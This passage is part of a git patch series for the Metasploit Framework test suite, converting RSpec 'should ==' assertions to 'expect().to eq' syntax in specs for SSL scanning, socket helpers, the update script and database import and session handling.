Encoding.find('binary') + expect(nbo.encoding).to eq Encoding.find('binary') [ 4, 16 ].should include(nbo.length) end end @@ -93,7 +93,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "1.1.1.1" + expect(subject).to eq "1.1.1.1" end end @@ -103,7 +103,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "fe80::1" + expect(subject).to eq "fe80::1" end end @@ -113,7 +113,7 @@ RSpec.describe Rex::Socket do it { should be_a(String) } it "should return the first ASCII address" do - subject.should == "1.1.1.1" + expect(subject).to eq "1.1.1.1" end end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index f1ce3f7142..91960c88a9 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -23,7 +23,7 @@ RSpec.describe Rex::SSLScan::Result do context "with no values set" do it "should return nil for the cert" do - subject.cert.should == nil + expect(subject.cert).to eq nil end it "should return an empty set for ciphers" do @@ -31,68 +31,68 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an empty array for accepted" do - subject.accepted.should == [] + expect(subject.accepted).to eq [] end it "should return an empty array for rejected" do - subject.rejected.should == [] + expect(subject.rejected).to eq [] end it "should return an empty array for #sslv2" do - subject.sslv2.should == [] + expect(subject.sslv2).to eq [] end it "should return an empty array for #sslv3" do - subject.sslv3.should == [] + expect(subject.sslv3).to eq [] end it "should return an empty array for #tlsv1" do - subject.tlsv1.should == [] + expect(subject.tlsv1).to eq [] end it "should return an empty array for #weak_ciphers" do - subject.weak_ciphers.should == [] + expect(subject.weak_ciphers).to eq [] end it "should return an empty array for #strong_ciphers" do - subject.strong_ciphers.should == [] + expect(subject.strong_ciphers).to eq [] end it "should return false for #supports_ssl?" do - subject.supports_ssl?.should == false + expect(subject.supports_ssl?).to eq false end it "should return false for #supports_ssl?v2" do - subject.supports_sslv2?.should == false + expect(subject.supports_sslv2?).to eq false end it "should return false for #supports_sslv3?" do - subject.supports_sslv3?.should == false + expect(subject.supports_sslv3?).to eq false end it "should return false for #supports_tlsv1?" do - subject.supports_tlsv1?.should == false + expect(subject.supports_tlsv1?).to eq false end it "should return false for #supports_weak_ciphers?" do - subject.supports_weak_ciphers?.should == false + expect(subject.supports_weak_ciphers?).to eq false end it "should return true for #standards_compliant?" do - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end end context "setting the cert" do it "should accept nil" do subject.cert = nil - subject.cert.should == nil + expect(subject.cert).to eq nil end it "should accept an X509 cert" do cert = OpenSSL::X509::Certificate.new subject.cert = cert - subject.cert.should == cert + expect(subject.cert).to eq cert end it "should raise an exception for anything else" do @@ -145,7 +145,7 @@ RSpec.describe Rex::SSLScan::Result do :weak=> false, :status => :accepted}) rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end @@ -189,7 +189,7 @@ RSpec.describe Rex::SSLScan::Result do it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.accepted(:SSLv3).count.should == 1 + expect(subject.accepted(:SSLv3).count).to eq 1 end end context "that was rejected" do @@ -203,7 +203,7 @@ RSpec.describe Rex::SSLScan::Result do :weak=> false, :status => :rejected}) rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end @@ -247,7 +247,7 @@ RSpec.describe Rex::SSLScan::Result do it "should not add duplicate entries" do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.rejected(:SSLv3).count.should == 1 + expect(subject.rejected(:SSLv3).count).to eq 1 end end end @@ -271,7 +271,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_accepted do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end end @@ -286,7 +286,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only ciphers matching the version" do subject.each_accepted(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 + expect(cipher_details[:version]).to eq :SSLv3 end end end @@ -297,7 +297,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end it "should return only the ciphers for the specified version" do @@ -327,7 +327,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_rejected do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end end @@ -342,7 +342,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return only ciphers matching the version" do subject.each_rejected(:SSLv3) do |cipher_details| - cipher_details[:version].should == :SSLv3 + expect(cipher_details[:version]).to eq :SSLv3 end end end @@ -353,7 +353,7 @@ RSpec.describe Rex::SSLScan::Result do subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| count = count+1 end - count.should == 3 + expect(count).to eq 3 end it "should return only the ciphers for the specified version" do @@ -367,42 +367,42 @@ RSpec.describe Rex::SSLScan::Result do context "checking SSL support" do context "for SSLv2" do it "should return false if there are no accepted ciphers" do - subject.supports_sslv2?.should == false + expect(subject.supports_sslv2?).to eq false end it "should return true if there are accepted ciphers or raise an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.supports_sslv2?.should == true + expect(subject.supports_sslv2?).to eq true rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end end context "for SSLv3" do it "should return false if there are no accepted ciphers" do - subject.supports_sslv3?.should == false + expect(subject.supports_sslv3?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.supports_sslv3?.should == true + expect(subject.supports_sslv3?).to eq true end end context "for TLSv1" do it "should return false if there are no accepted ciphers" do - subject.supports_tlsv1?.should == false + expect(subject.supports_tlsv1?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_tlsv1?.should == true + expect(subject.supports_tlsv1?).to eq true end end context "for SSL at large" do it "should return false if there are no accepted ciphers" do - subject.supports_ssl?.should == false + expect(subject.supports_ssl?).to eq false end it "should return true if there are accepted ciphers" do subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.supports_ssl?.should == true + expect(subject.supports_ssl?).to eq true end end end @@ -415,15 +415,15 @@ RSpec.describe Rex::SSLScan::Result do end it "should return an array of weak ciphers from #weak_ciphers" do weak = subject.weak_ciphers - weak.class.should == Array + expect(weak.class).to eq Array weak.each do |cipher| - cipher[:weak].should == true + expect(cipher[:weak]).to eq true end - weak.count.should == 2 + expect(weak.count).to eq 2 end it "should return true from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == true + expect(subject.supports_weak_ciphers?).to eq true end end @@ -434,39 +434,39 @@ RSpec.describe Rex::SSLScan::Result do subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) end it "should return an empty array from #weak_ciphers" do - subject.weak_ciphers.should == [] + expect(subject.weak_ciphers).to eq [] end it "should return false from #supports_weak_ciphers" do - subject.supports_weak_ciphers?.should == false + expect(subject.supports_weak_ciphers?).to eq false end end end context "checking for standards compliance" do it "should return true if there is no SSL support" do - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end it "should return false if SSLv2 is supported or raise an SSLv2 exception" do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - subject.standards_compliant?.should == false + expect(subject.standards_compliant?).to eq false rescue ArgumentError => e - e.message.should == "unknown SSL method `SSLv2'." + expect(e.message).to eq "unknown SSL method `SSLv2'." end end it "should return false if weak ciphers are supported" do subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - subject.standards_compliant?.should == false + expect(subject.standards_compliant?).to eq false end it "should return true if SSLv2 and Weak Ciphers are disabled" do subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.standards_compliant?.should == true + expect(subject.standards_compliant?).to eq true end end @@ -518,7 +518,7 @@ RSpec.describe Rex::SSLScan::Result do it "should return an appropriate message when SSL is not supported" do subject.stub(:supports_ssl?).and_return(false) - subject.to_s.should == "Server does not appear to support SSL on this port!" + expect(subject.to_s).to eq "Server does not appear to support SSL on this port!" end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 654e9236c8..0f7ef0e8c6 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -15,22 +15,22 @@ RSpec.describe Rex::SSLScan::Scanner do context "when validating the scanner config" do it "should return true when given a valid config" do - subject.valid?.should == true + expect(subject.valid?).to eq true end it "should return false if given an invalid host" do subject.host = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end it "should return false if given an invalid port" do subject.port = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end it "should return false if given an invalid timeout" do subject.timeout = nil - subject.valid?.should == false + expect(subject.valid?).to eq false end end @@ -56,24 +56,24 @@ RSpec.describe Rex::SSLScan::Scanner do context ":rejected should be returned if" do it "scans a server that doesn't support the supplied SSL version" do - subject.test_cipher(:SSLv3, "DES-CBC-SHA").should == :rejected + expect(subject.test_cipher(:SSLv3, "DES-CBC-SHA")).to eq :rejected end it "scans a server that doesn't support the cipher" do - subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA").should == :rejected + expect(subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA")).to eq :rejected end end context ":accepted should be returned if" do it "scans a server that accepts the given cipher" do - subject.test_cipher(:SSLv3, "AES256-SHA").should == :accepted + expect(subject.test_cipher(:SSLv3, "AES256-SHA")).to eq :accepted end end end context "when retrieving the cert" do it "should return nil if it can't connect" do - subject.get_cert(:SSLv3, "DES-CBC-SHA").should == nil + expect(subject.get_cert(:SSLv3, "DES-CBC-SHA")).to eq nil end it "should return an X509 cert if it can connect" do @@ -94,12 +94,12 @@ RSpec.describe Rex::SSLScan::Scanner do end it "should mark SSLv2 as unsupported" do subject.supported_versions.should_not include :SSLv2 - subject.sslv2.should == false + expect(subject.sslv2).to eq false end it "should not test any SSLv2 ciphers" do res = subject.scan - res.sslv2.should == [] + expect(res.sslv2).to eq [] end end end diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 5cb7ad4878..11eaa8bab7 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -59,7 +59,7 @@ RSpec.describe Msfupdate do ARGV.clear ARGV << 'foo' subject.parse_args(['x', 'y']) - ARGV.should == ['foo'] + expect(ARGV).to eq ['foo'] end context "with --help" do @@ -84,7 +84,7 @@ RSpec.describe Msfupdate do it "sets @git_branch" do subject.parse_args(args) - subject.instance_variable_get(:@git_branch).should == git_branch + expect(subject.instance_variable_get(:@git_branch)).to eq git_branch end context "without a space" do @@ -92,7 +92,7 @@ RSpec.describe Msfupdate do it "sets @git_branch" do subject.parse_args(args) - subject.instance_variable_get(:@git_branch).should == git_branch + expect(subject.instance_variable_get(:@git_branch)).to eq git_branch end end end @@ -103,7 +103,7 @@ RSpec.describe Msfupdate do it "sets @git_remote" do subject.parse_args(args) - subject.instance_variable_get(:@git_remote).should == git_remote + expect(subject.instance_variable_get(:@git_remote)).to eq git_remote end context "without a space" do @@ -111,7 +111,7 @@ RSpec.describe Msfupdate do it "sets @git_remote" do subject.parse_args(args) - subject.instance_variable_get(:@git_remote).should == git_remote + expect(subject.instance_variable_get(:@git_remote)).to eq git_remote end end end @@ -128,7 +128,7 @@ RSpec.describe Msfupdate do context "with relative path" do it "transforms argument into an absolute path" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should == File.join(Dir.pwd, offline_file) + expect(subject.instance_variable_get(:@offline_file)).to eq File.join(Dir.pwd, offline_file) end end @@ -136,7 +136,7 @@ RSpec.describe Msfupdate do let(:offline_file) { '/tmp/foo' } it "accepts an absolute path" do subject.parse_args(args) - subject.instance_variable_get(:@offline_file).should == offline_file + expect(subject.instance_variable_get(:@offline_file)).to eq offline_file end end @@ -154,7 +154,7 @@ RSpec.describe Msfupdate do let(:args) { ['wait'] } it "sets @actually_wait" do subject.parse_args(args) - subject.instance_variable_get(:@actually_wait).should == true + expect(subject.instance_variable_get(:@actually_wait)).to eq true end end @@ -162,7 +162,7 @@ RSpec.describe Msfupdate do let(:args) { ['nowait'] } it "sets @actually_wait" do subject.parse_args(args) - subject.instance_variable_get(:@actually_wait).should == false + expect(subject.instance_variable_get(:@actually_wait)).to eq false end end end diff --git a/spec/support/shared/examples/an_option.rb b/spec/support/shared/examples/an_option.rb index da2f7031c0..35cf0786f1 100644 --- a/spec/support/shared/examples/an_option.rb +++ b/spec/support/shared/examples/an_option.rb @@ -9,18 +9,18 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| let(:optional) { described_class.new('name', [false, 'A description here'])} it "should return a type of #{type}" do - subject.type.should == type + expect(subject.type).to eq type end context 'when required' do it 'should not be valid for nil' do - required.valid?(nil).should == false + expect(required.valid?(nil)).to eq false end end context 'when not required' do it 'it should be valid for nil' do - optional.valid?(nil).should == true + expect(optional.valid?(nil)).to eq true end end @@ -31,7 +31,7 @@ shared_examples_for "an option" do |valid_values, invalid_values, type| it "should be valid and normalize appropriately: #{valid_value}" do block = Proc.new { - subject.normalize(valid_value).should == normalized_value + expect(subject.normalize(valid_value)).to eq normalized_value subject.valid?(valid_value).should be_truthy } if vhash[:skip] diff --git a/spec/support/shared/examples/hash_with_insensitive_access.rb b/spec/support/shared/examples/hash_with_insensitive_access.rb index f2821796a4..a7fe3401d8 100644 --- a/spec/support/shared/examples/hash_with_insensitive_access.rb +++ b/spec/support/shared/examples/hash_with_insensitive_access.rb @@ -3,19 +3,19 @@ shared_examples_for "hash with insensitive keys" do subject["asdf"] = "foo" subject["ASDF"] = "bar" - subject["asdf"].should == "bar" - subject["ASDF"].should == "bar" + expect(subject["asdf"]).to eq "bar" + expect(subject["ASDF"]).to eq "bar" end it "should fetch with insensitive key" do subject["foo"] = "bar" - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["FOO"].should == "bar" - subject["fOO"].should == "bar" - subject["fOo"].should == "bar" - subject["FOo"].should == "bar" - subject["Foo"].should == "bar" + expect(subject["foo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["FOO"]).to eq "bar" + expect(subject["fOO"]).to eq "bar" + expect(subject["fOo"]).to eq "bar" + expect(subject["FOo"]).to eq "bar" + expect(subject["Foo"]).to eq "bar" end end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index e207827c6d..d9fd8d9f15 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -17,7 +17,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de if attribute == false child_node.content.should be_blank else - child_node.content.should == attribute.to_s + expect(child_node.content).to eq attribute.to_s end end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 87a9c48ef0..37b2dbcca4 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -209,7 +209,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should strip text' do - info[:child].should == stripped + expect(info[:child]).to eq stripped end end @@ -232,7 +232,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should have text for child name in info' do - info[child_sym].should == text + expect(info[child_sym]).to eq text end end end @@ -245,7 +245,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should return an empty Hash' do - info.should == {} + expect(info).to eq {} end end end @@ -491,7 +491,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do returned_hash end - actual_args.should == [element, options] + expect(actual_args).to eq [element, options] end it 'should pass return Hash to report_web_<:type>' do @@ -528,13 +528,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should call :notifier with event and path' do import_msf_web_element - successive_args.length.should == 1 + expect(successive_args.length).to eq 1 args = successive_args[0] - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path + expect(args.length).to eq 2 + expect(args[0]).to eq event + expect(args[1]).to eq web_vuln.path end end @@ -605,13 +605,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :method' do with_info do |info| - info[:method].should == web_form_attributes[:method] + expect(info[:method]).to eq web_form_attributes[:method] end end it 'should include :params' do with_info do |info| - info[:params].should == web_form_attributes[:params] + expect(info[:params]).to eq web_form_attributes[:params] end end end @@ -724,49 +724,49 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :auth' do with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) + expect(info[:auth]).to eq web_page_attributes.fetch(:auth) end end it 'should include :body' do with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) + expect(info[:body]).to eq web_page_attributes.fetch(:body) end end it 'should include :code' do with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) + expect(info[:code]).to eq web_page_attributes.fetch(:code) end end it 'should include :cookie' do with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) + expect(info[:cookie]).to eq web_page_attributes.fetch(:cookie) end end it 'should include :ctype' do with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) + expect(info[:ctype]).to eq web_page_attributes.fetch(:ctype) end end it 'should include :headers' do with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) + expect(info[:headers]).to eq web_page_attributes.fetch(:headers) end end it 'should include :location' do with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) + expect(info[:location]).to eq web_page_attributes.fetch(:location) end end it 'should include :mtime' do with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) + expect(info[:mtime]).to eq web_page_attributes.fetch(:mtime) end end end @@ -893,55 +893,55 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should include :blame' do with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) + expect(info[:blame]).to eq web_vuln_attributes.fetch(:blame) end end it 'should include :category' do with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) + expect(info[:category]).to eq web_vuln_attributes.fetch(:category) end end it 'should include :confidence' do with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) + expect(info[:confidence]).to eq web_vuln_attributes.fetch(:confidence) end end it 'should include :description' do with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) + expect(info[:description]).to eq web_vuln_attributes.fetch(:description) end end it 'should include :method' do with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) + expect(info[:method]).to eq web_vuln_attributes.fetch(:method) end end it 'should include :name' do with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) + expect(info[:name]).to eq web_vuln_attributes.fetch(:name) end end it 'should include :pname' do with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) + expect(info[:pname]).to eq web_vuln_attributes.fetch(:pname) end end it 'should include :proof' do with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) + expect(info[:proof]).to eq web_vuln_attributes.fetch(:proof) end end it 'should include :risk' do with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) + expect(info[:risk]).to eq web_vuln_attributes.fetch(:risk) end end end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb index a467eb75ec..5b725288c6 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/check_msf_xml_version_with_root_tag.rb @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#check_msf_ end it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag + expect(metadata[:root_tag]).to eq root_tag end end end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 437411b91c..48441286bf 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -16,7 +16,7 @@ shared_examples_for 'Msf::DBManager::Migration' do ActiveRecord::Migrator.migrations_paths.length } - ActiveRecord::Migrator.migrations_paths.uniq.should == ActiveRecord::Migrator.migrations_paths + expect(ActiveRecord::Migrator.migrations_paths.uniq).to eq ActiveRecord::Migrator.migrations_paths end end @@ -37,7 +37,7 @@ shared_examples_for 'Msf::DBManager::Migration' do migrations = [double('Migration 1')] ActiveRecord::Migrator.stub(:migrate => migrations) - migrate.should == migrations + expect(migrate).to eq migrations end it 'should reset the column information' do @@ -62,7 +62,7 @@ shared_examples_for 'Msf::DBManager::Migration' do it 'should set Msf::DBManager#error' do migrate - db_manager.error.should == error + expect(db_manager.error).to eq error end it 'should log error message at error level' do diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 5badedcabc..1e86e1a47e 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -325,7 +325,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without Mdm::Module::Ref#name' do it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end @@ -363,7 +363,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do context 'without Mdm::Module::Detail#mtype' do it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end @@ -445,7 +445,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.description == target_module_detail.description @@ -459,7 +459,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.fullname == search_string @@ -474,7 +474,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.name == target_module_detail.name diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 30d7d943fd..107c62747f 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -37,7 +37,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword context "without #{context_suffix}" do it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index ebaef13d92..ef7e8956c1 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -229,7 +229,7 @@ shared_examples_for 'Msf::DBManager::Session' do it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session - session.db_record.should == mdm_session + expect(session.db_record).to eq mdm_session end context 'with session.via_exploit' do @@ -432,7 +432,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.via_exploit 'exploit/multi/handler'" do it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' + expect(session.via_exploit).to eq 'exploit/multi/handler' end context "with session.exploit_datastore['ParentModule']" do @@ -572,7 +572,7 @@ shared_examples_for 'Msf::DBManager::Session' do it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session - session.db_record.should == mdm_session + expect(session.db_record).to eq mdm_session end context 'with session.via_exploit' do @@ -775,7 +775,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.via_exploit 'exploit/multi/handler'" do it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' + expect(session.via_exploit).to eq 'exploit/multi/handler' end context "with session.exploit_datastore['ParentModule']" do diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index af60cff7ff..0eed8f9dc1 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -32,8 +32,8 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do db_manager.should_receive(:update_module_details) do |module_instance| module_instance.should be_a Msf::Module - module_instance.type.should == module_detail.mtype - module_instance.refname.should == module_detail.refname + expect(module_instance.type).to eq module_detail.mtype + expect(module_instance.refname).to eq module_detail.refname end update_all_module_details diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index 54a4f18885..c71ee0c398 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -14,7 +14,7 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |optio end it "should use module_instance with #{type.inspect} type" do - module_instance.type.should == type + expect(module_instance.type).to eq type end it 'should not raise error' do diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 5a7029e24c..2a6f66b662 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -106,19 +106,19 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should have modification time of :path option for :modification_time' do - value[:modification_time].should == pathname_modification_time + expect(value[:modification_time]).to eq pathname_modification_time end it 'should have parent path from namespace module for :parent_path' do - value[:parent_path].should == namespace_module.parent_path + expect(value[:parent_path]).to eq namespace_module.parent_path end it 'should use :reference_name option' do - value[:reference_name].should == reference_name + expect(value[:reference_name]).to eq reference_name end it 'should use :type option' do - value[:type].should == type + expect(value[:type]).to eq type end end end @@ -440,7 +440,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do # have to use fetch because [] will trigger de-symbolization and # instantiation. - typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule end end end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 4fc1486318..a70c5bb179 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -70,7 +70,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :modification_time => cached_modification_time } - cached_modification_time.should == modification_time + expect(cached_modification_time).to eq modification_time subject.file_changed?(module_path).should be_falsey end end diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index 5b80ff0aac..af45717cb8 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -16,11 +16,11 @@ shared_examples_for 'Msf::Modules::Error subclass #initialize' do end it 'should set module_path' do - subject.module_path.should == module_path + expect(subject.module_path).to eq module_path end it 'should set module_reference_name' do - subject.module_reference_name.should == module_reference_name + expect(subject.module_reference_name).to eq module_reference_name end end end diff --git a/spec/support/shared/examples/typed_path.rb b/spec/support/shared/examples/typed_path.rb index ba33e7eedd..5794fe9b21 100644 --- a/spec/support/shared/examples/typed_path.rb +++ b/spec/support/shared/examples/typed_path.rb @@ -23,7 +23,7 @@ shared_examples_for 'typed_path' do |map| typed_path = described_class.typed_path(type_constant, module_reference_name) first_directory = typed_path.split(File::SEPARATOR).first - first_directory.should == directory + expect(first_directory).to eq directory end end end From 03c649bb911805789d657e78f8ef2d5403321de8 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 12:40:33 -0500 Subject: [PATCH 016/103] should_receive -> expect().to receive MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../framework/login_scanner/db2_spec.rb | 6 +-- .../framework/login_scanner/ftp_spec.rb | 8 ++-- .../framework/login_scanner/invalid_spec.rb | 2 +- .../framework/login_scanner/mssql_spec.rb | 6 +-- 